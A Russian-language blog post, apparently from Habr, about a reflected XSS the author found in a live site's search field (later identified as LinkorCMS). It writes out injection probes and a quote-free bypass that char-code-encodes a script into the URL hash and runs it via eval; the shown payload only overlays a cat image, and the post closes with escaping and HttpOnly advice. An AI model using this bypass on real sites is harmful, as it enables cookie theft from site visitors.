Внимание
Ниже последует описание довольно простецкой XSS и большинству пользователей хабра описанные в статье вещи покажутся элементарными.
К делу
Просматривая сайты в сети я, зачастую, вставляю в каждый попавшийся инпут стандартную пару символов ' "> '. Зачем? Просто так.
На одном из сайтов поиск по этой паре выдал следующее:
Значит спецсимволы html не преобразуются перед выводом, что есть уязвимость. Печально.
Следующей строкой поиска было '" onmouseover=alert(«1»)' и… ничего. Кавычки таки экранируются.
Забавно. Вводим '" onmouseover=alert(1)' и получаем:
Вывод единички это прекрасно, но хочется чего-нибудь интересней. Например, картинку с котиком поверх сайта (котики, они милые). Использовать кавычки и «равно» нельзя (экранирование + ломается разметка).
Напрашивается простое решение: преобразовать «вредоносный» скрипт в последовательность кодов символов и с помощью eval выполнить его, предварительно раскодировав. Коды можно передавать через hash.
Итак, вот он, наш «вредоносный» код.
img=document.createElement('img');
img.src = 'http://i.imgur.com/KYChI.jpg';
img.style['position'] = 'fixed';
img.style['top'] = '50px';
document.body.appendChild(img);
Теперь его нужно преобразовать в последовательность кодов символов, разделенных, например, дефисом "-". Код элементарен:
a = "img=document.createElement('img');img.src = 'http://i.imgur.com/KYChI.jpg';img.style['position'] = 'fixed';img.style['margin'] = '0 auto';img.style['top'] = '50px';document.body.appendChild(img);"
b = '';
for (s in a)
b +='-'+a.charCodeAt(s);
console.log(b);
Получим длинную строку (разбил, чтобы корректно отображалось):
105-109-103-61-100-111-99-117-109-101-110-116-46-99-114-101-97-116-101-69-108-101-109-101-110
-116-40-39-105-109-103-39-41-59-105-109-103-46-115-114-99-32-61-32-39-104-116-116-112-58-47-47
-105-46-105-109-103-117-114-46-99-111-109-47-75-89-67-104-73-46-106-112-103-39-59-105-109-103
-46-115-116-121-108-101-91-39-112-111-115-105-116-105-111-110-39-93-32-61-32-39-102-105-120-101
-100-39-59-105-109-103-46-115-116-121-108-101-91-39-109-97-114-103-105-110-39-93-32-61-32-39-48
-32-97-117-116-111-39-59-105-109-103-46-115-116-121-108-101-91-39-116-111-112-39-93-32-61-32-39
-53-48-112-120-39-59-100-111-99-117-109-101-110-116-46-98-111-100-121-46-97-112-112-101-110-100
-67-104-105-108-100-40-105-109-103-41-59
Эту строку мы поместим в хеш. Теперь нужен код, который бы вернул строку в изначальное состояние и выполнил зловредство. Без кавычек и присвоения.
Благодаря объектности javascript, он не менее прост:
eval( (((window.location.hash.split(String.fromCharCode(35)))[1].split(String.fromCharCode(45))).map(function(ch){return String.fromCharCode(ch)}) ).join(String.fromCharCode()) );
Теперь с пояснением:
window.location.hash.split(String.fromCharCode(35)) // разбиваем строку из хеша по символу #
((window.location.hash.split(String.fromCharCode(35)))[1].split(String.fromCharCode(45))) // берем второй элемент получившегося массива и разбиваем его по символу дефиса который String.fromCharCode(45)
(((window.location.hash.split(String.fromCharCode(35)))[1].split(String.fromCharCode(45))).map(function(ch){return String.fromCharCode(ch)}) ) // для каждого элемента получившегося массива (который будет кодом символа) получаем символ.
//Просто map(String.fromCharCode) почему то не сработал
//Ну и оставшийся код соединяет массив символов в строку и eval выполняет код этой строки.
Осталось чуть: подставить нужные данные в url и перейти на страничку. Получим:
Прекрасно, все работает. А значит кто-нибудь, злобный достаточно, может увести куки.
Позже выяснилось, что сайт находится под управлением linkorcms, а уязвимость запросто гуглится и известна аж с 2009 года. Даже смысла делать баг репорт нету.
Выводы
Ну, нужно подвести какие-то итоги (очевидные, но все же):
- Не доверяй пользователю!
- Преобразуй спецсимволы в html-сущности перед выводом. Сделай себе безопасно.
- Для cookies, которые содержат мало-мальски важные данные, нужно ставить флаг http only.
- Не доверяй пользователю! (это важно)
Ну и, если уж разрабатываешь продукт, стоит не только ждать баг репортов, но и самим немного искать на предмет уязвимостей.
Автор: Aren_SH